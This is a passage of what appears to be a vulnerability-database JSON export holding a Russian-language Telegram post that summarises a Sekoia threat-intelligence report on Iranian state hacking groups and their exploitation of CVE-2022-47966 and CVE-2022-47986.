\u0442\u0435\u043b\u0435\u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0439, \u043c\u043e\u0440\u0441\u043a\u0438\u0445 \u043f\u0435\u0440\u0435\u0432\u043e\u0437\u043e\u043a \u0438 \u0434\u0440\u0443\u0433\u0443\u044e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0430\u0436\u043d\u0443\u044e \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443.\n\n\u0412 2023 \u0433\u043e\u0434\u0443 APT35 \u043f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043b \u0431\u044b\u0441\u0442\u0440\u0443\u044e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 CVE-2022-47966 \u0438 CVE-2022-47986, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0438\u0445 \u0432 \u0442\u0435\u0447\u0435\u043d\u0438\u0435 \u043e\u0442 \u043e\u0434\u043d\u043e\u0433\u043e \u0434\u043e \u043f\u044f\u0442\u0438 \u0434\u043d\u0435\u0439 \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u043e\u043d\u0438 \u0441\u0442\u0430\u043b\u0438 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u043c\u0438. \n\nSekoia \u043e\u0446\u0435\u043d\u0438\u0432\u0430\u0435\u0442, \u0447\u0442\u043e \u043a\u0438\u0431\u0435\u0440\u0443\u0433\u0440\u043e\u0437\u044b \u0441\u043e \u0441\u0442\u043e\u0440\u043e\u043d\u044b \u0418\u0440\u0430\u043d\u0430, \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0442 \u0440\u0430\u0441\u0442\u0438 \u043f\u043e \u043c\u0435\u0440\u0435 \u0440\u0430\u0437\u0432\u0438\u0442\u0438\u044f \u0435\u0433\u043e \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0435\u0439, \u0432 \u0442\u043e \u0432\u0440\u0435\u043c\u044f \u043a\u0430\u043a \u0441\u0442\u0440\u0430\u043d\u0430 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0432 \u0433\u0435\u043e\u043f\u043e\u043b\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043a\u043e\u043d\u0444\u0440\u043e\u043d\u0442\u0430\u0446\u0438\u0438 \u0441 \u0418\u0437\u0440\u0430\u0438\u043b\u0435\u043c \u0438 \u0437\u0430\u043f\u0430\u0434\u043d\u044b\u043c\u0438 \u0441\u0442\u0440\u0430\u043d\u0430\u043c\u0438 \u0438\u0437-\u0437\u0430 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u0443\u043b\u044c\u0442\u0440\u0430\u043a\u043e\u043d\u0441\u0435\u0440\u0432\u0430\u0442\u043e\u0440\u043e\u0432 \u043a \u0432\u043b\u0430\u0441\u0442\u0438.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://blog.sekoia.io/iran-cyber-threat-overview/ \n\n#\u0418\u0440\u0430\u043d #\u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a\u0438", "creation_timestamp": "2026-07-28T00:00:23.403545Z"}, {"uuid": "fae5a987-bdd4-4b1b-bb0a-ae5e71fdcefb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47986", "type": "exploited", "source": "https://t.me/EchelonEyes/1732", "content": "\u041e\u0431\u0437\u043e\u0440 \u043a\u0438\u0431\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438 \u0418\u0440\u0430\u043d\u0430\n\n\u0424\u0440\u0430\u043d\u0446\u0443\u0437\u0441\u043a\u0430\u044f \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Sekoia \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0441\u0442\u0430\u0442\u044c\u044e \u0441 \u043e\u0431\u0437\u043e\u0440\u043e\u043c \u043a\u0438\u0431\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438 \u0418\u0440\u0430\u043d\u0430, \u043f\u0440\u043e\u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0432 \u0443\u0433\u0440\u043e\u0437\u044b, \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0432\u0448\u0438\u0435 \u0432 2022-2023 \u0433\u043e\u0434\u0430\u0445.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0442\u043c\u0435\u0447\u0430\u044e\u0442, \u0447\u0442\u043e \u043f\u0440\u0435\u0436\u0434\u0435 \u0432\u0441\u0435\u0433\u043e \u0441\u0430\u043c \u0418\u0440\u0430\u043d \u0431\u044b\u043b \u0438 \u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u0446\u0435\u043b\u044c\u044e \u043c\u043d\u043e\u0433\u043e\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0445 \u0432\u0440\u0430\u0436\u0434\u0435\u0431\u043d\u044b\u0445 \u043a\u0438\u0431\u0435\u0440\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439, \u0438\u043c\u0435\u043d\u043d\u043e \u0438\u0437 \u044d\u0442\u043e\u0433\u043e \u0444\u043e\u0440\u043c\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0435\u0433\u043e \u0441\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u044f, \u0441\u043e\u0441\u0442\u043e\u044f\u0449\u0430\u044f \u0432 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f\u0445 \u0432\u043e\u0437\u043c\u0435\u0437\u0434\u0438\u044f. \u041f\u0435\u0440\u0435\u0439\u0442\u0438 \u043a \u043d\u0430\u0441\u0442\u0443\u043f\u043b\u0435\u043d\u0438\u044e \u0432 \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0435 \u0418\u0440\u0430\u043d \u0432\u044b\u043d\u0443\u0434\u0438\u043b\u0438 \u0434\u0432\u0430 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u0441\u043e\u0431\u044b\u0442\u0438\u044f: \u043f\u0440\u043e\u0442\u0435\u0441\u0442\u044b \u043f\u0440\u043e\u0442\u0438\u0432 \u043f\u0435\u0440\u0435\u0438\u0437\u0431\u0440\u0430\u043d\u0438\u044f \u043f\u0440\u0435\u0437\u0438\u0434\u0435\u043d\u0442\u0430 \u0410\u0445\u043c\u0430\u0434\u0438\u043d\u0435\u0434\u0436\u0430\u0434\u0430 \u0432 2009 \u0433\u043e\u0434\u0443 \u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e Stuxnet \u0432 2010, \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u043d\u043e\u0433\u043e \u0441\u043f\u0435\u0446\u0441\u043b\u0443\u0436\u0431\u0430\u043c\u0438 \u0421\u0428\u0410 \u0438 \u0418\u0437\u0440\u0430\u0438\u043b\u044f \u0438 \u0443\u043d\u0438\u0447\u0442\u043e\u0436\u0438\u0432\u0448\u0435\u0433\u043e \u0446\u0435\u043d\u0442\u0440\u0438\u0444\u0443\u0433\u0438 \u043d\u0430 \u0438\u0440\u0430\u043d\u0441\u043a\u043e\u043c \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u0438 \u043f\u043e \u043e\u0431\u043e\u0433\u0430\u0449\u0435\u043d\u0438\u044e \u0443\u0440\u0430\u043d\u0430.\n\n\u0412 2022-2023 \u0433\u043e\u0434\u0430\u0445 \u043a\u043e\u043d\u0444\u0440\u043e\u043d\u0442\u0430\u0446\u0438\u044f \u043c\u0435\u0436\u0434\u0443 \u0422\u0435\u0433\u0435\u0440\u0430\u043d\u043e\u043c \u0438 \u0437\u0430\u043f\u0430\u0434\u043d\u044b\u043c\u0438 \u0441\u0442\u0440\u0430\u043d\u0430\u043c\u0438 \u0443\u0441\u0438\u043b\u0438\u043b\u0430\u0441\u044c \u043d\u0430 \u0444\u043e\u043d\u0435 \u043f\u0435\u0440\u0435\u0433\u043e\u0432\u043e\u0440\u043e\u0432 \u043f\u043e \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044e \u0421\u043e\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u044f \u043f\u043e \u0438\u0440\u0430\u043d\u0441\u043a\u043e\u0439 \u044f\u0434\u0435\u0440\u043d\u043e\u0439 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0435, \u043e\u0434\u043d\u0430\u043a\u043e \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u0441 \u044d\u0442\u0438\u043c \u0418\u0440\u0430\u043d \u0432\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0435\u0442 \u0434\u0438\u043f\u043b\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u044f \u0441 \u0421\u0430\u0443\u0434\u043e\u0432\u0441\u043a\u043e\u0439 \u0410\u0440\u0430\u0432\u0438\u0435\u0439.\n\n\u041d\u0430 \u0442\u0435\u043a\u0443\u0449\u0438\u0439 \u043c\u043e\u043c\u0435\u043d\u0442, \u0441\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0444\u0440\u0430\u043d\u0446\u0443\u0437\u0441\u043a\u043e\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044e, \u0418\u0440\u0430\u043d \u043e\u0431\u043b\u0430\u0434\u0430\u0435\u0442 \u043a\u0438\u0431\u0435\u0440\u043d\u0430\u0441\u0442\u0443\u043f\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u043e\u043c, \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u043c \u0434\u0432\u0443\u043c\u044f \u0441\u043b\u0443\u0436\u0431\u0430\u043c\u0438 \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0438 \u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438: \u041a\u043e\u0440\u043f\u0443\u0441\u043e\u043c \u0441\u0442\u0440\u0430\u0436\u0435\u0439 \u0438\u0441\u043b\u0430\u043c\u0441\u043a\u043e\u0439 \u0440\u0435\u0432\u043e\u043b\u044e\u0446\u0438\u0438 (\u041a\u0421\u0418\u0420) \u0438 \u041c\u0438\u043d\u0438\u0441\u0442\u0435\u0440\u0441\u0442\u0432\u043e\u043c \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0438 (MOIS).\n\n\u0413\u0440\u0443\u043f\u043f\u044b \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0432\u0442\u043e\u0440\u0436\u0435\u043d\u0438\u044f, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u041a\u0421\u0418\u0420, \u2014 APT35, APT42, Nemesis Kitten \u0438 Cotton Sandstorm (ex-NEPTUNIUM) \u2014 \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c \u0441\u043e\u0441\u0440\u0435\u0434\u043e\u0442\u043e\u0447\u0435\u043d\u044b \u043d\u0430 \u0446\u0435\u043b\u044f\u0445, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 \u0438\u043d\u043e\u0441\u0442\u0440\u0430\u043d\u043d\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c\u0438, \u0432\u043e\u0435\u043d\u043d\u044b\u043c\u0438, \u044d\u043d\u0435\u0440\u0433\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c\u0438, \u043c\u043e\u0440\u0441\u043a\u0438\u043c\u0438 \u0442\u0440\u0430\u043d\u0441\u043f\u043e\u0440\u0442\u043d\u044b\u043c\u0438 \u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u043c\u0438 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u043c\u0438, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u043c\u0438 \u043d\u0430\u0434 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u043c\u0438 \u0418\u0440\u0430\u043d\u0430 \u0438 \u0411\u043b\u0438\u0436\u043d\u0435\u0433\u043e \u0412\u043e\u0441\u0442\u043e\u043a\u0430. \u0425\u0430\u043a\u0435\u0440\u044b \u043f\u0440\u043e\u0432\u043e\u0434\u044f\u0442 \u043a\u0438\u0431\u0435\u0440\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043c\u0435\u0442\u043e\u0434\u044b \u0446\u0435\u043b\u0435\u0432\u043e\u0433\u043e \u0444\u0438\u0448\u0438\u043d\u0433\u0430 \u0432 \u0441\u043e\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0441\u0435\u0442\u044f\u0445 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0432\u0435\u043a\u0442\u043e\u0440\u0430 \u0438 \u043f\u0440\u0435\u0441\u043b\u0435\u0434\u0443\u044f \u0441\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0446\u0435\u043b\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0448\u043f\u0438\u043e\u043d\u0430\u0436, \u0441\u0430\u0431\u043e\u0442\u0430\u0436, \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0438, \u0432 \u043c\u0435\u043d\u044c\u0448\u0435\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438, \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0431\u044b\u043b\u0438.\n\n\u041c\u0438\u043d\u0438\u0441\u0442\u0435\u0440\u0441\u0442\u0432\u043e \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0438 \u0418\u0441\u043b\u0430\u043c\u0441\u043a\u043e\u0439 \u0420\u0435\u0441\u043f\u0443\u0431\u043b\u0438\u043a\u0438 \u0418\u0440\u0430\u043d \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u0437\u0430 \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0443 \u0441\u0438\u0433\u043d\u0430\u043b\u043e\u0432 \u0438 \u0441\u0431\u043e\u0440 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0438\u0437 \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u044b\u0445 \u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0439 \u0438 \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0431\u043e\u043b\u0435\u0435 \u0442\u0435\u0445\u043d\u0438\u0447\u043d\u044b\u043c \u0438 \u043c\u0435\u043d\u0435\u0435 \u0438\u0434\u0435\u043e\u043b\u043e\u0433\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c, \u0447\u0435\u043c \u041a\u0421\u0418\u0420. \n\n\u0425\u0430\u043a\u0435\u0440\u0441\u043a\u0438\u0435 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u041c\u0438\u043d\u0438\u0441\u0442\u0435\u0440\u0441\u0442\u0432\u043e\u043c \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0438 \u2014 MuddyWater, Oilrig (\u043e\u043d\u0430 \u0436\u0435 APT34), Hexane, Agrius \u0438 \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u0430\u044f DarkBit (\u043e\u043d\u0430 \u0436\u0435 DEV-1084) \u2014 \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c \u0441\u043e\u0441\u0440\u0435\u0434\u043e\u0442\u043e\u0447\u0435\u043d\u044b \u043d\u0430 \u0442\u0430\u043a\u0438\u0445 \u0441\u0435\u043a\u0442\u043e\u0440\u0430\u0445, \u043a\u0430\u043a \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u044d\u043d\u0435\u0440\u0433\u0435\u0442\u0438\u043a\u0430, \u0442\u0435\u043b\u0435\u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0438, \u043c\u043e\u0440\u0441\u043a\u043e\u0439 \u0442\u0440\u0430\u043d\u0441\u043f\u043e\u0440\u0442. \u041e\u043d\u0438 \u043f\u0440\u043e\u0432\u043e\u0434\u044f\u0442 \u043d\u0430\u0441\u0442\u0443\u043f\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0432 \u0448\u043f\u0438\u043e\u043d\u0441\u043a\u043e-\u0434\u0438\u0432\u0435\u0440\u0441\u0438\u043e\u043d\u043d\u044b\u0445 \u0446\u0435\u043b\u044f\u0445 \u0438 \u0446\u0435\u043b\u044f\u0445 \u0432\u043b\u0438\u044f\u043d\u0438\u044f.\n\n\u0421\u043e\u043e\u0431\u0449\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0438\u0440\u0430\u043d\u0441\u043a\u0438\u0435 \u0441\u043f\u0435\u0446\u0441\u043b\u0443\u0436\u0431\u044b \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u044e\u0442 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b \u0441 \u0447\u0430\u0441\u0442\u043d\u044b\u043c\u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f\u043c\u0438 \u0438 \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0438\u0442\u0435\u0442\u0430\u043c\u0438 \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0432\u044b\u0441\u043e\u043a\u043e\u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u0445 \u0430\u0442\u0430\u043a. \n\n\u0426\u0435\u043b\u0438 \u0438\u0440\u0430\u043d\u0441\u043a\u0438\u0445 \u043a\u0438\u0431\u0435\u0440\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439: \n\n- \u0441\u0431\u043e\u0440 \u0440\u0430\u0437\u0432\u0435\u0434\u0434\u0430\u043d\u044b\u0445 \u0443 \u0433\u0435\u043e\u043f\u043e\u043b\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u043e\u043f\u0435\u0440\u043d\u0438\u043a\u043e\u0432, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a \u0418\u0437\u0440\u0430\u0438\u043b\u044c, \u0421\u0430\u0443\u0434\u043e\u0432\u0441\u043a\u0430\u044f \u0410\u0440\u0430\u0432\u0438\u044f \u0438 \u0441\u0442\u0440\u0430\u043d\u044b \u041f\u0435\u0440\u0441\u0438\u0434\u0441\u043a\u043e\u0433\u043e \u0437\u0430\u043b\u0438\u0432\u0430;\n\n- \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0435 \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435 \u0437\u0430 \u0433\u0440\u0430\u0436\u0434\u0430\u043d\u0430\u043c\u0438 \u0418\u0440\u0430\u043d\u0430, \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0437\u0434\u0435\u0441\u044c \u0440\u0430\u0437\u0432\u0438\u0442 \u0448\u043f\u0438\u043e\u043d\u0430\u0436 \u0447\u0435\u0440\u0435\u0437 \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u044b\u0435 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u044b.\n\n- \u0440\u0430\u0437\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a\u0438 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043d\u0430 \u0441\u0430\u0443\u0434\u043e\u0432\u0441\u043a\u0443\u044e \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044e Saudi Aramco, \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u0410\u043b\u0431\u0430\u043d\u0438\u0438, \u0438\u0437\u0440\u0430\u0438\u043b\u044c\u0441\u043a\u0438\u0439 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0438\u043d\u0441\u0442\u0438\u0442\u0443\u0442 \u00ab\u0422\u0435\u0445\u043d\u0438\u043e\u043d\u00bb);\n\n-  \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 (\u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438) \u0441 \u0446\u0435\u043b\u044c\u044e \u043f\u0440\u043e\u0434\u0432\u0438\u0436\u0435\u043d\u0438\u044f \u0441\u0432\u043e\u0435\u0433\u043e \u0440\u0435\u0433\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0432\u043b\u0438\u044f\u043d\u0438\u044f;\n\n- \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u044b\u0435 \u043d\u0430 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0431\u044b\u043b\u0438, (\u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u043e, \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0447\u0430\u0441\u0442\u043d\u044b\u043c\u0438 \u0444\u0438\u0440\u043c\u0430\u043c\u0438, \u043d\u0430\u043d\u044f\u0442\u044b\u043c\u0438 \u041a\u0421\u0418\u0420) \u2013 \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0434\u043e\u043b\u0433\u043e\u0441\u0440\u043e\u0447\u043d\u0430\u044f \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044f \u043f\u043e \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0443 \u0438 \u043c\u0430\u0439\u043d\u0438\u043d\u0433\u0443 \u043a\u0440\u0438\u043f\u0442\u043e\u0432\u0430\u043b\u044e\u0442\u044b \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Log4J, \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0432\u0448\u0430\u044f \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0433\u043e\u0441\u0443\u0434\u0430\u0440\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439 \u0421\u0428\u0410. \n\n\u0427\u0430\u0449\u0435 \u0432\u0441\u0435\u0433\u043e \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u0445\u0430\u043a\u0435\u0440\u044b \u0418\u0440\u0430\u043d\u0430 \u043d\u0430\u0446\u0435\u043b\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043d\u0430 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432 \u0441\u0444\u0435\u0440\u0435 \u044d\u043d\u0435\u0440\u0433\u0435\u0442\u0438\u043a\u0438, \u0442\u0435\u043b\u0435\u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0439, \u043c\u043e\u0440\u0441\u043a\u0438\u0445 \u043f\u0435\u0440\u0435\u0432\u043e\u0437\u043e\u043a \u0438 \u0434\u0440\u0443\u0433\u0443\u044e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0430\u0436\u043d\u0443\u044e \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443.\n\n\u0412 2023 \u0433\u043e\u0434\u0443 APT35 \u043f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043b \u0431\u044b\u0441\u0442\u0440\u0443\u044e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 CVE-2022-47966 \u0438 CVE-2022-47986, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0438\u0445 \u0432 \u0442\u0435\u0447\u0435\u043d\u0438\u0435 \u043e\u0442 \u043e\u0434\u043d\u043e\u0433\u043e \u0434\u043e \u043f\u044f\u0442\u0438 \u0434\u043d\u0435\u0439 \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u043e\u043d\u0438 \u0441\u0442\u0430\u043b\u0438 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u043c\u0438. \n\nSekoia \u043e\u0446\u0435\u043d\u0438\u0432\u0430\u0435\u0442, \u0447\u0442\u043e \u043a\u0438\u0431\u0435\u0440\u0443\u0433\u0440\u043e\u0437\u044b \u0441\u043e \u0441\u0442\u043e\u0440\u043e\u043d\u044b \u0418\u0440\u0430\u043d\u0430, \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0442 \u0440\u0430\u0441\u0442\u0438 \u043f\u043e \u043c\u0435\u0440\u0435 \u0440\u0430\u0437\u0432\u0438\u0442\u0438\u044f \u0435\u0433\u043e \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0435\u0439, \u0432 \u0442\u043e \u0432\u0440\u0435\u043c\u044f \u043a\u0430\u043a \u0441\u0442\u0440\u0430\u043d\u0430 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0432 \u0433\u0435\u043e\u043f\u043e\u043b\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043a\u043e\u043d\u0444\u0440\u043e\u043d\u0442\u0430\u0446\u0438\u0438 \u0441 \u0418\u0437\u0440\u0430\u0438\u043b\u0435\u043c \u0438 \u0437\u0430\u043f\u0430\u0434\u043d\u044b\u043c\u0438 \u0441\u0442\u0440\u0430\u043d\u0430\u043c\u0438 \u0438\u0437-\u0437\u0430 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0435\u043d\u0438\u044f 